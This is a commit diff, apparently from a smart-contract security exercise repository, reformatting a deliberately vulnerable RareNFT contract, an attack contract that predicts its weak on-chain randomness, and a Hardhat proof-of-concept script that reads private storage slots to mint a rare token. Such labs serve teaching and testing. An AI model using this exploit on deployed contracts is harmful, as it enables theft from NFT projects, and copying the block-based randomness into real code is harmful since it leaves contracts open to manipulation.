Skip to content

Commit 8e55bf3

Browse files
committed
cleanup and prettier
1 parent fe46e37 commit 8e55bf3

File tree

3 files changed

+30
-29
lines changed

3 files changed

+30
-29
lines changed

contracts/malicious/RareNFTAttack.sol

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -6,19 +6,21 @@ import "../vulnerable/RareNFT.sol";
66
contract RareNFTAttack {
77
uint256 public nonce;
88
bytes public gas;
9-
RareNFT claim= RareNFT(0x5FbDB2315678afecb367f032d93F642f64180aa3);
10-
constructor() payable{
9+
RareNFT claim = RareNFT(0x5FbDB2315678afecb367f032d93F642f64180aa3);
10+
11+
constructor() payable {
1112
require(msg.value >= 1 ether, "RareNFT: requires 1 ether");
12-
}
13+
}
1314

1415
function _randGenerator(uint256 _drawNum) internal returns (uint256) {
1516
require(_drawNum > 0, "RareNFT: drawNum must be greater than 0");
1617

1718
bytes32 randHash = keccak256(
18-
gas=abi.encodePacked(
19+
gas = abi.encodePacked(
1920
blockhash(block.number - 1),
2021
block.timestamp,
21-
block.coinbase, uint256(0x0000000000000000000000000000000000000000000000000000000001af08b9),
22+
block.coinbase,
23+
uint256(0x0000000000000000000000000000000000000000000000000000000001af08b9),
2224
tx.gasprice,
2325
tx.origin,
2426
nonce,
@@ -30,12 +32,10 @@ contract RareNFTAttack {
3032
nonce++;
3133
return random;
3234
}
33-
function attack(uint256 _nonce,uint256 _luckyVal) public{
34-
nonce=_nonce;
35-
uint256 ranndomhash=_randGenerator(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
36-
claim.mint{value:1 ether}(ranndomhash-_luckyVal);
3735

36+
function attack(uint256 _nonce, uint256 _luckyVal) public {
37+
nonce = _nonce;
38+
uint256 ranndomhash = _randGenerator(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
39+
claim.mint{value: 1 ether}(ranndomhash - _luckyVal);
3840
}
39-
40-
4141
}

contracts/vulnerable/RareNFT.sol

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -33,9 +33,9 @@ contract RareNFT is Ownable, ReentrancyGuard {
3333
emit NFTcontract(address(_nftContract));
3434
}
3535

36-
function _luckyValGenerator() internal view returns(uint256) {
37-
uint256 num = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 5;
38-
if (num == 0){
36+
function _luckyValGenerator() internal view returns (uint256) {
37+
uint256 num = uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 5;
38+
if (num == 0) {
3939
num++;
4040
}
4141
return num;
@@ -88,7 +88,7 @@ contract RareNFT is Ownable, ReentrancyGuard {
8888
function collect(uint256 id) external payable nonReentrant {
8989
require(!collected[msg.sender], "RareNFT: you have already collected");
9090
Token memory tk = tokenInfo[id];
91-
require(nftContract.ownerOf(id) == msg.sender,"RareNFT: id doesn't belongs to you");
91+
require(nftContract.ownerOf(id) == msg.sender, "RareNFT: id doesn't belongs to you");
9292
if (tk.rare) {
9393
payable(msg.sender).transfer(0.1 ether);
9494
}

pocs/7.js

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
const { expect } = require("chai");
12
const { ethers } = require("hardhat");
23

34
const ONE_ETHER = ethers.utils.parseUnits("1", "ether");
@@ -6,32 +7,32 @@ async function deploy(deployer, attacker) {
67
const Rare = await ethers.getContractFactory("RareNFT", deployer);
78
const RareNFTAttack = await ethers.getContractFactory("RareNFTAttack", attacker);
89

9-
const rare = await Rare.deploy({value:ONE_ETHER});
10-
const attack = await RareNFTAttack.deploy({value:ONE_ETHER});
10+
const rare = await Rare.deploy({ value: ONE_ETHER });
11+
const attack = await RareNFTAttack.deploy({ value: ONE_ETHER });
1112

12-
return [rare,attack];
13+
return [rare, attack];
1314
}
1415

1516
async function main() {
16-
let [deployer, attacker] = await ethers.getSigners();
17-
let [rare,attack] = await deploy(deployer, attacker);
17+
let [deployer, attacker, user] = await ethers.getSigners();
18+
let [rare, attack] = await deploy(deployer, attacker);
1819
console.log("RareNFT contract :", rare.address);
1920
console.log("Attack contract :", attack.address);
2021

21-
let nonce=await ethers.provider.getStorageAt(rare.address,3);
22-
let luckyVal=await ethers.provider.getStorageAt(rare.address,4);
22+
let nonce = await ethers.provider.getStorageAt(rare.address, 3);
23+
let luckyVal = await ethers.provider.getStorageAt(rare.address, 4);
2324

24-
await attack.connect(attacker).attack(nonce,luckyVal);
25-
rare.tokenInfo(0).then(res =>
26-
console.log("Attack mint:\n",res));
25+
console.log("LuckyVal set by the contract is :", await ethers.BigNumber.from(luckyVal).toNumber());
2726

27+
let tx = await attack.connect(attacker).attack(nonce, luckyVal);
28+
await expect(tx).to.emit(rare, "Minted").withArgs(0, attack.address);
2829

29-
await rare.connect(attacker).mint(1,{value:ONE_ETHER});
30-
rare.tokenInfo(1).then(res =>
31-
console.log("Normal mint:\n",res));
32-
30+
console.log("\nAttack minted NFT data :", await rare.tokenInfo(0));
3331

32+
let tx2 = await rare.connect(user).mint(1, { value: ONE_ETHER });
33+
await expect(tx2).to.emit(rare, "Minted").withArgs(1, user.address);
3434

35+
console.log("\nUser minted NFT data :", await rare.tokenInfo(1));
3536
}
3637

3738
main();

0 commit comments

Comments
 (0)